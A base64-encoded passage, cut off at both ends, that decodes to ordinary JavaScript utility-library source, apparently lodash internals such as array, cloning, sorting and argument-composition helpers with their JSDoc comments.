cm9tUmlnaHQgPyBsZW5ndGggOiBpbmRleCkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGB3cmFwcGVyVmFsdWVgIHdoaWNoIHJldHVybnMgdGhlIHJlc3VsdCBvZlxuICAgICAqIHBlcmZvcm1pbmcgYSBzZXF1ZW5jZSBvZiBhY3Rpb25zIG9uIHRoZSB1bndyYXBwZWQgYHZhbHVlYCwgd2hlcmUgZWFjaFxuICAgICAqIHN1Y2Nlc3NpdmUgYWN0aW9uIGlzIHN1cHBsaWVkIHRoZSByZXR1cm4gdmFsdWUgb2YgdGhlIHByZXZpb3VzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB1bndyYXBwZWQgdmFsdWUuXG4gICAgICogQHBhcmFtIHtBcnJheX0gYWN0aW9ucyBBY3Rpb25zIHRvIHBlcmZvcm0gdG8gcmVzb2x2ZSB0aGUgdW53cmFwcGVkIHZhbHVlLlxuICAgICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSByZXNvbHZlZCB2YWx1ZS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlV3JhcHBlclZhbHVlKHZhbHVlLCBhY3Rpb25zKSB7XG4gICAgICB2YXIgcmVzdWx0ID0gdmFsdWU7XG4gICAgICBpZiAocmVzdWx0IGluc3RhbmNlb2YgTGF6eVdyYXBwZXIpIHtcbiAgICAgICAgcmVzdWx0ID0gcmVzdWx0LnZhbHVlKCk7XG4gICAgICB9XG4gICAgICByZXR1cm4gYXJyYXlSZWR1Y2UoYWN0aW9ucywgZnVuY3Rpb24ocmVzdWx0LCBhY3Rpb24pIHtcbiAgICAgICAgcmV0dXJuIGFjdGlvbi5mdW5jLmFwcGx5KGFjdGlvbi50aGlzQXJnLCBhcnJheVB1c2goW3Jlc3VsdF0sIGFjdGlvbi5hcmdzKSk7XG4gICAgICB9LCByZXN1bHQpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIG1ldGhvZHMgbGlrZSBgXy54b3JgLCB3aXRob3V0IHN1cHBvcnQgZm9yXG4gICAgICogaXRlcmF0ZWUgc2hvcnRoYW5kcywgdGhhdCBhY2NlcHRzIGFuIGFycmF5IG9mIGFycmF5cyB0byBpbnNwZWN0LlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheXMgVGhlIGFycmF5cyB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZV0gVGhlIGl0ZXJhdGVlIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2NvbXBhcmF0b3JdIFRoZSBjb21wYXJhdG9yIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgdmFsdWVzLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VYb3IoYXJyYXlzLCBpdGVyYXRlZSwgY29tcGFyYXRvcikge1xuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5cy5sZW5ndGg7XG4gICAgICBpZiAobGVuZ3RoIDwgMikge1xuICAgICAgICByZXR1cm4gbGVuZ3RoID8gYmFzZVVuaXEoYXJyYXlzWzBdKSA6IFtdO1xuICAgICAgfVxuICAgICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgICAgcmVzdWx0ID0gQXJyYXkobGVuZ3RoKTtcblxuICAgICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgICAgdmFyIGFycmF5ID0gYXJyYXlzW2luZGV4XSxcbiAgICAgICAgICAgIG90aEluZGV4ID0gLTE7XG5cbiAgICAgICAgd2hpbGUgKCsrb3RoSW5kZXggPCBsZW5ndGgpIHtcbiAgICAgICAgICBpZiAob3RoSW5kZXggIT0gaW5kZXgpIHtcbiAgICAgICAgICAgIHJlc3VsdFtpbmRleF0gPSBiYXNlRGlmZmVyZW5jZShyZXN1bHRbaW5kZXhdIHx8IGFycmF5LCBhcnJheXNbb3RoSW5kZXhdLCBpdGVyYXRlZSwgY29tcGFyYXRvcik7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gYmFzZVVuaXEoYmFzZUZsYXR0ZW4ocmVzdWx0LCAxKSwgaXRlcmF0ZWUsIGNvbXBhcmF0b3IpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy56aXBPYmplY3RgIHdoaWNoIGFzc2lnbnMgdmFsdWVzIHVzaW5nIGBhc3NpZ25GdW5jYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtBcnJheX0gcHJvcHMgVGhlIHByb3BlcnR5IGlkZW50aWZpZXJzLlxuICAgICAqIEBwYXJhbSB7QXJyYXl9IHZhbHVlcyBUaGUgcHJvcGVydHkgdmFsdWVzLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGFzc2lnbkZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGFzc2lnbiB2YWx1ZXMuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgbmV3IG9iamVjdC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlWmlwT2JqZWN0KHByb3BzLCB2YWx1ZXMsIGFzc2lnbkZ1bmMpIHtcbiAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgIGxlbmd0aCA9IHByb3BzLmxlbmd0aCxcbiAgICAgICAgICB2YWxzTGVuZ3RoID0gdmFsdWVzLmxlbmd0aCxcbiAgICAgICAgICByZXN1bHQgPSB7fTtcblxuICAgICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgICAgdmFyIHZhbHVlID0gaW5kZXggPCB2YWxzTGVuZ3RoID8gdmFsdWVzW2luZGV4XSA6IHVuZGVmaW5lZDtcbiAgICAgICAgYXNzaWduRnVuYyhyZXN1bHQsIHByb3BzW2luZGV4XSwgdmFsdWUpO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDYXN0cyBgdmFsdWVgIHRvIGFuIGVtcHR5IGFycmF5IGlmIGl0J3Mgbm90IGFuIGFycmF5IGxpa2Ugb2JqZWN0LlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBpbnNwZWN0LlxuICAgICAqIEByZXR1cm5zIHtBcnJheXxPYmplY3R9IFJldHVybnMgdGhlIGNhc3QgYXJyYXktbGlrZSBvYmplY3QuXG4gICAgICovXG4gICAgZnVuY3Rpb24gY2FzdEFycmF5TGlrZU9iamVjdCh2YWx1ZSkge1xuICAgICAgcmV0dXJuIGlzQXJyYXlMaWtlT2JqZWN0KHZhbHVlKSA/IHZhbHVlIDogW107XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ2FzdHMgYHZhbHVlYCB0byBgaWRlbnRpdHlgIGlmIGl0J3Mgbm90IGEgZnVuY3Rpb24uXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGluc3BlY3QuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIGNhc3QgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gY2FzdEZ1bmN0aW9uKHZhbHVlKSB7XG4gICAgICByZXR1cm4gdHlwZW9mIHZhbHVlID09ICdmdW5jdGlvbicgPyB2YWx1ZSA6IGlkZW50aXR5O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENhc3RzIGB2YWx1ZWAgdG8gYSBwYXRoIGFycmF5IGlmIGl0J3Mgbm90IG9uZS5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gW29iamVjdF0gVGhlIG9iamVjdCB0byBxdWVyeSBrZXlzIG9uLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgY2FzdCBwcm9wZXJ0eSBwYXRoIGFycmF5LlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNhc3RQYXRoKHZhbHVlLCBvYmplY3QpIHtcbiAgICAgIGlmIChpc0FycmF5KHZhbHVlKSkge1xuICAgICAgICByZXR1cm4gdmFsdWU7XG4gICAgICB9XG4gICAgICByZXR1cm4gaXNLZXkodmFsdWUsIG9iamVjdCkgPyBbdmFsdWVdIDogc3RyaW5nVG9QYXRoKHRvU3RyaW5nKHZhbHVlKSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQSBgYmFzZVJlc3RgIGFsaWFzIHdoaWNoIGNhbiBiZSByZXBsYWNlZCB3aXRoIGBpZGVudGl0eWAgYnkgbW9kdWxlXG4gICAgICogcmVwbGFjZW1lbnQgcGx1Z2lucy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHR5cGUge0Z1bmN0aW9ufVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGFwcGx5IGEgcmVzdCBwYXJhbWV0ZXIgdG8uXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgZnVuY3Rpb24uXG4gICAgICovXG4gICAgdmFyIGNhc3RSZXN0ID0gYmFzZVJlc3Q7XG5cbiAgICAvKipcbiAgICAgKiBDYXN0cyBgYXJyYXlgIHRvIGEgc2xpY2UgaWYgaXQncyBuZWVkZWQuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBzdGFydCBUaGUgc3RhcnQgcG9zaXRpb24uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtlbmQ9YXJyYXkubGVuZ3RoXSBUaGUgZW5kIHBvc2l0aW9uLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgY2FzdCBzbGljZS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjYXN0U2xpY2UoYXJyYXksIHN0YXJ0LCBlbmQpIHtcbiAgICAgIHZhciBsZW5ndGggPSBhcnJheS5sZW5ndGg7XG4gICAgICBlbmQgPSBlbmQgPT09IHVuZGVmaW5lZCA/IGxlbmd0aCA6IGVuZDtcbiAgICAgIHJldHVybiAoIXN0YXJ0ICYmIGVuZCA+PSBsZW5ndGgpID8gYXJyYXkgOiBiYXNlU2xpY2UoYXJyYXksIHN0YXJ0LCBlbmQpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEEgc2ltcGxlIHdyYXBwZXIgYXJvdW5kIHRoZSBnbG9iYWwgW2BjbGVhclRpbWVvdXRgXShodHRwczovL21kbi5pby9jbGVhclRpbWVvdXQpLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge251bWJlcnxPYmplY3R9IGlkIFRoZSB0aW1lciBpZCBvciB0aW1lb3V0IG9iamVjdCBvZiB0aGUgdGltZXIgdG8gY2xlYXIuXG4gICAgICovXG4gICAgdmFyIGNsZWFyVGltZW91dCA9IGN0eENsZWFyVGltZW91dCB8fCBmdW5jdGlvbihpZCkge1xuICAgICAgcmV0dXJuIHJvb3QuY2xlYXJUaW1lb3V0KGlkKTtcbiAgICB9O1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGNsb25lIG9mICBgYnVmZmVyYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtCdWZmZXJ9IGJ1ZmZlciBUaGUgYnVmZmVyIHRvIGNsb25lLlxuICAgICAqIEBwYXJhbSB7Ym9vbGVhbn0gW2lzRGVlcF0gU3BlY2lmeSBhIGRlZXAgY2xvbmUuXG4gICAgICogQHJldHVybnMge0J1ZmZlcn0gUmV0dXJucyB0aGUgY2xvbmVkIGJ1ZmZlci5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjbG9uZUJ1ZmZlcihidWZmZXIsIGlzRGVlcCkge1xuICAgICAgaWYgKGlzRGVlcCkge1xuICAgICAgICByZXR1cm4gYnVmZmVyLnNsaWNlKCk7XG4gICAgICB9XG4gICAgICB2YXIgbGVuZ3RoID0gYnVmZmVyLmxlbmd0aCxcbiAgICAgICAgICByZXN1bHQgPSBhbGxvY1Vuc2FmZSA/IGFsbG9jVW5zYWZlKGxlbmd0aCkgOiBuZXcgYnVmZmVyLmNvbnN0cnVjdG9yKGxlbmd0aCk7XG5cbiAgICAgIGJ1ZmZlci5jb3B5KHJlc3VsdCk7XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBjbG9uZSBvZiBgYXJyYXlCdWZmZXJgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5QnVmZmVyfSBhcnJheUJ1ZmZlciBUaGUgYXJyYXkgYnVmZmVyIHRvIGNsb25lLlxuICAgICAqIEByZXR1cm5zIHtBcnJheUJ1ZmZlcn0gUmV0dXJucyB0aGUgY2xvbmVkIGFycmF5IGJ1ZmZlci5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjbG9uZUFycmF5QnVmZmVyKGFycmF5QnVmZmVyKSB7XG4gICAgICB2YXIgcmVzdWx0ID0gbmV3IGFycmF5QnVmZmVyLmNvbnN0cnVjdG9yKGFycmF5QnVmZmVyLmJ5dGVMZW5ndGgpO1xuICAgICAgbmV3IFVpbnQ4QXJyYXkocmVzdWx0KS5zZXQobmV3IFVpbnQ4QXJyYXkoYXJyYXlCdWZmZXIpKTtcbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGNsb25lIG9mIGBkYXRhVmlld2AuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBkYXRhVmlldyBUaGUgZGF0YSB2aWV3IHRvIGNsb25lLlxuICAgICAqIEBwYXJhbSB7Ym9vbGVhbn0gW2lzRGVlcF0gU3BlY2lmeSBhIGRlZXAgY2xvbmUuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgY2xvbmVkIGRhdGEgdmlldy5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjbG9uZURhdGFWaWV3KGRhdGFWaWV3LCBpc0RlZXApIHtcbiAgICAgIHZhciBidWZmZXIgPSBpc0RlZXAgPyBjbG9uZUFycmF5QnVmZmVyKGRhdGFWaWV3LmJ1ZmZlcikgOiBkYXRhVmlldy5idWZmZXI7XG4gICAgICByZXR1cm4gbmV3IGRhdGFWaWV3LmNvbnN0cnVjdG9yKGJ1ZmZlciwgZGF0YVZpZXcuYnl0ZU9mZnNldCwgZGF0YVZpZXcuYnl0ZUxlbmd0aCk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGNsb25lIG9mIGByZWdleHBgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gcmVnZXhwIFRoZSByZWdleHAgdG8gY2xvbmUuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgY2xvbmVkIHJlZ2V4cC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjbG9uZVJlZ0V4cChyZWdleHApIHtcbiAgICAgIHZhciByZXN1bHQgPSBuZXcgcmVnZXhwLmNvbnN0cnVjdG9yKHJlZ2V4cC5zb3VyY2UsIHJlRmxhZ3MuZXhlYyhyZWdleHApKTtcbiAgICAgIHJlc3VsdC5sYXN0SW5kZXggPSByZWdleHAubGFzdEluZGV4O1xuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgY2xvbmUgb2YgdGhlIGBzeW1ib2xgIG9iamVjdC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IHN5bWJvbCBUaGUgc3ltYm9sIG9iamVjdCB0byBjbG9uZS5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBjbG9uZWQgc3ltYm9sIG9iamVjdC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjbG9uZVN5bWJvbChzeW1ib2wpIHtcbiAgICAgIHJldHVybiBzeW1ib2xWYWx1ZU9mID8gT2JqZWN0KHN5bWJvbFZhbHVlT2YuY2FsbChzeW1ib2wpKSA6IHt9O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBjbG9uZSBvZiBgdHlwZWRBcnJheWAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSB0eXBlZEFycmF5IFRoZSB0eXBlZCBhcnJheSB0byBjbG9uZS5cbiAgICAgKiBAcGFyYW0ge2Jvb2xlYW59IFtpc0RlZXBdIFNwZWNpZnkgYSBkZWVwIGNsb25lLlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgdGhlIGNsb25lZCB0eXBlZCBhcnJheS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjbG9uZVR5cGVkQXJyYXkodHlwZWRBcnJheSwgaXNEZWVwKSB7XG4gICAgICB2YXIgYnVmZmVyID0gaXNEZWVwID8gY2xvbmVBcnJheUJ1ZmZlcih0eXBlZEFycmF5LmJ1ZmZlcikgOiB0eXBlZEFycmF5LmJ1ZmZlcjtcbiAgICAgIHJldHVybiBuZXcgdHlwZWRBcnJheS5jb25zdHJ1Y3RvcihidWZmZXIsIHR5cGVkQXJyYXkuYnl0ZU9mZnNldCwgdHlwZWRBcnJheS5sZW5ndGgpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENvbXBhcmVzIHZhbHVlcyB0byBzb3J0IHRoZW0gaW4gYXNjZW5kaW5nIG9yZGVyLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjb21wYXJlLlxuICAgICAqIEBwYXJhbSB7Kn0gb3RoZXIgVGhlIG90aGVyIHZhbHVlIHRvIGNvbXBhcmUuXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgc29ydCBvcmRlciBpbmRpY2F0b3IgZm9yIGB2YWx1ZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gY29tcGFyZUFzY2VuZGluZyh2YWx1ZSwgb3RoZXIpIHtcbiAgICAgIGlmICh2YWx1ZSAhPT0gb3RoZXIpIHtcbiAgICAgICAgdmFyIHZhbElzRGVmaW5lZCA9IHZhbHVlICE9PSB1bmRlZmluZWQsXG4gICAgICAgICAgICB2YWxJc051bGwgPSB2YWx1ZSA9PT0gbnVsbCxcbiAgICAgICAgICAgIHZhbElzUmVmbGV4aXZlID0gdmFsdWUgPT09IHZhbHVlLFxuICAgICAgICAgICAgdmFsSXNTeW1ib2wgPSBpc1N5bWJvbCh2YWx1ZSk7XG5cbiAgICAgICAgdmFyIG90aElzRGVmaW5lZCA9IG90aGVyICE9PSB1bmRlZmluZWQsXG4gICAgICAgICAgICBvdGhJc051bGwgPSBvdGhlciA9PT0gbnVsbCxcbiAgICAgICAgICAgIG90aElzUmVmbGV4aXZlID0gb3RoZXIgPT09IG90aGVyLFxuICAgICAgICAgICAgb3RoSXNTeW1ib2wgPSBpc1N5bWJvbChvdGhlcik7XG5cbiAgICAgICAgaWYgKCghb3RoSXNOdWxsICYmICFvdGhJc1N5bWJvbCAmJiAhdmFsSXNTeW1ib2wgJiYgdmFsdWUgPiBvdGhlcikgfHxcbiAgICAgICAgICAgICh2YWxJc1N5bWJvbCAmJiBvdGhJc0RlZmluZWQgJiYgb3RoSXNSZWZsZXhpdmUgJiYgIW90aElzTnVsbCAmJiAhb3RoSXNTeW1ib2wpIHx8XG4gICAgICAgICAgICAodmFsSXNOdWxsICYmIG90aElzRGVmaW5lZCAmJiBvdGhJc1JlZmxleGl2ZSkgfHxcbiAgICAgICAgICAgICghdmFsSXNEZWZpbmVkICYmIG90aElzUmVmbGV4aXZlKSB8fFxuICAgICAgICAgICAgIXZhbElzUmVmbGV4aXZlKSB7XG4gICAgICAgICAgcmV0dXJuIDE7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCghdmFsSXNOdWxsICYmICF2YWxJc1N5bWJvbCAmJiAhb3RoSXNTeW1ib2wgJiYgdmFsdWUgPCBvdGhlcikgfHxcbiAgICAgICAgICAgIChvdGhJc1N5bWJvbCAmJiB2YWxJc0RlZmluZWQgJiYgdmFsSXNSZWZsZXhpdmUgJiYgIXZhbElzTnVsbCAmJiAhdmFsSXNTeW1ib2wpIHx8XG4gICAgICAgICAgICAob3RoSXNOdWxsICYmIHZhbElzRGVmaW5lZCAmJiB2YWxJc1JlZmxleGl2ZSkgfHxcbiAgICAgICAgICAgICghb3RoSXNEZWZpbmVkICYmIHZhbElzUmVmbGV4aXZlKSB8fFxuICAgICAgICAgICAgIW90aElzUmVmbGV4aXZlKSB7XG4gICAgICAgICAgcmV0dXJuIC0xO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gMDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBVc2VkIGJ5IGBfLm9yZGVyQnlgIHRvIGNvbXBhcmUgbXVsdGlwbGUgcHJvcGVydGllcyBvZiBhIHZhbHVlIHRvIGFub3RoZXJcbiAgICAgKiBhbmQgc3RhYmxlIHNvcnQgdGhlbS5cbiAgICAgKlxuICAgICAqIElmIGBvcmRlcnNgIGlzIHVuc3BlY2lmaWVkLCBhbGwgdmFsdWVzIGFyZSBzb3J0ZWQgaW4gYXNjZW5kaW5nIG9yZGVyLiBPdGhlcndpc2UsXG4gICAgICogc3BlY2lmeSBhbiBvcmRlciBvZiBcImRlc2NcIiBmb3IgZGVzY2VuZGluZyBvciBcImFzY1wiIGZvciBhc2NlbmRpbmcgc29ydCBvcmRlclxuICAgICAqIG9mIGNvcnJlc3BvbmRpbmcgdmFsdWVzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gY29tcGFyZS5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb3RoZXIgVGhlIG90aGVyIG9iamVjdCB0byBjb21wYXJlLlxuICAgICAqIEBwYXJhbSB7Ym9vbGVhbltdfHN0cmluZ1tdfSBvcmRlcnMgVGhlIG9yZGVyIHRvIHNvcnQgYnkgZm9yIGVhY2ggcHJvcGVydHkuXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgc29ydCBvcmRlciBpbmRpY2F0b3IgZm9yIGBvYmplY3RgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNvbXBhcmVNdWx0aXBsZShvYmplY3QsIG90aGVyLCBvcmRlcnMpIHtcbiAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgIG9iakNyaXRlcmlhID0gb2JqZWN0LmNyaXRlcmlhLFxuICAgICAgICAgIG90aENyaXRlcmlhID0gb3RoZXIuY3JpdGVyaWEsXG4gICAgICAgICAgbGVuZ3RoID0gb2JqQ3JpdGVyaWEubGVuZ3RoLFxuICAgICAgICAgIG9yZGVyc0xlbmd0aCA9IG9yZGVycy5sZW5ndGg7XG5cbiAgICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICAgIHZhciByZXN1bHQgPSBjb21wYXJlQXNjZW5kaW5nKG9iakNyaXRlcmlhW2luZGV4XSwgb3RoQ3JpdGVyaWFbaW5kZXhdKTtcbiAgICAgICAgaWYgKHJlc3VsdCkge1xuICAgICAgICAgIGlmIChpbmRleCA+PSBvcmRlcnNMZW5ndGgpIHtcbiAgICAgICAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgICAgICAgfVxuICAgICAgICAgIHZhciBvcmRlciA9IG9yZGVyc1tpbmRleF07XG4gICAgICAgICAgcmV0dXJuIHJlc3VsdCAqIChvcmRlciA9PSAnZGVzYycgPyAtMSA6IDEpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICAvLyBGaXhlcyBhbiBgQXJyYXkjc29ydGAgYnVnIGluIHRoZSBKUyBlbmdpbmUgZW1iZWRkZWQgaW4gQWRvYmUgYXBwbGljYXRpb25zXG4gICAgICAvLyB0aGF0IGNhdXNlcyBpdCwgdW5kZXIgY2VydGFpbiBjaXJjdW1zdGFuY2VzLCB0byBwcm92aWRlIHRoZSBzYW1lIHZhbHVlIGZvclxuICAgICAgLy8gYG9iamVjdGAgYW5kIGBvdGhlcmAuIFNlZSBodHRwczovL2dpdGh1Yi5jb20vamFzaGtlbmFzL3VuZGVyc2NvcmUvcHVsbC8xMjQ3XG4gICAgICAvLyBmb3IgbW9yZSBkZXRhaWxzLlxuICAgICAgLy9cbiAgICAgIC8vIFRoaXMgYWxzbyBlbnN1cmVzIGEgc3RhYmxlIHNvcnQgaW4gVjggYW5kIG90aGVyIGVuZ2luZXMuXG4gICAgICAvLyBTZWUgaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Y4L2lzc3Vlcy9kZXRhaWw/aWQ9OTAgZm9yIG1vcmUgZGV0YWlscy5cbiAgICAgIHJldHVybiBvYmplY3QuaW5kZXggLSBvdGhlci5pbmRleDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGFuIGFycmF5IHRoYXQgaXMgdGhlIGNvbXBvc2l0aW9uIG9mIHBhcnRpYWxseSBhcHBsaWVkIGFyZ3VtZW50cyxcbiAgICAgKiBwbGFjZWhvbGRlcnMsIGFuZCBwcm92aWRlZCBhcmd1bWVudHMgaW50byBhIHNpbmdsZSBhcnJheSBvZiBhcmd1bWVudHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFyZ3MgVGhlIHByb3ZpZGVkIGFyZ3VtZW50cy5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBwYXJ0aWFscyBUaGUgYXJndW1lbnRzIHRvIHByZXBlbmQgdG8gdGhvc2UgcHJvdmlkZWQuXG4gICAgICogQHBhcmFtIHtBcnJheX0gaG9sZGVycyBUaGUgYHBhcnRpYWxzYCBwbGFjZWhvbGRlciBpbmRleGVzLlxuICAgICAqIEBwYXJhbXMge2Jvb2xlYW59IFtpc0N1cnJpZWRdIFNwZWNpZnkgY29tcG9zaW5nIGZvciBhIGN1cnJpZWQgZnVuY3Rpb24uXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgY29tcG9zZWQgYXJndW1lbnRzLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNvbXBvc2VBcmdzKGFyZ3MsIHBhcnRpYWxzLCBob2xkZXJzLCBpc0N1cnJpZWQpIHtcbiAgICAgIHZhciBhcmdzSW5kZXggPSAtMSxcbiAgICAgICAgICBhcmdzTGVuZ3RoID0gYXJncy5sZW5ndGgsXG4gICAgICAgICAgaG9sZGVyc0xlbmd0aCA9IGhvbGRlcnMubGVuZ3RoLFxuICAgICAgICAgIGxlZnRJbmRleCA9IC0xLFxuICAgICAgICAgIGxlZnRMZW5ndGggPSBwYXJ0aWFscy5sZW5ndGgsXG4gICAgICAgICAgcmFuZ2VMZW5ndGggPSBuYXRpdmVNYXgoYXJnc0xlbmd0aCAtIGhvbGRlcnNMZW5ndGgsIDApLFxuICAgICAgICAgIHJlc3VsdCA9IEFycmF5KGxlZnRMZW5ndGggKyByYW5nZUxlbmd0aCksXG4gICAgICAgICAgaXNVbmN1cnJpZWQgPSAhaXNDdXJyaWVkO1xuXG4gICAgICB3aGlsZSAoKytsZWZ0SW5kZXggPCBsZWZ0TGVuZ3RoKSB7XG4gICAgICAgIHJlc3VsdFtsZWZ0SW5kZXhdID0gcGFydGlhbHNbbGVmdEluZGV4XTtcbiAgICAgIH1cbiAgICAgIHdoaWxlICgrK2FyZ3NJbmRleCA8IGhvbGRlcnNMZW5ndGgpIHtcbiAgICAgICAgaWYgKGlzVW5jdXJyaWVkIHx8IGFyZ3NJbmRleCA8IGFyZ3NMZW5ndGgpIHtcbiAgICAgICAgICByZXN1bHRbaG9sZGVyc1thcmdzSW5kZXhdXSA9IGFyZ3NbYXJnc0luZGV4XTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgd2hpbGUgKHJhbmdlTGVuZ3RoLS0pIHtcbiAgICAgICAgcmVzdWx0W2xlZnRJbmRleCsrXSA9IGFyZ3NbYXJnc0luZGV4KytdO1xuICAgICAgfVxuICAgICAgcmV0d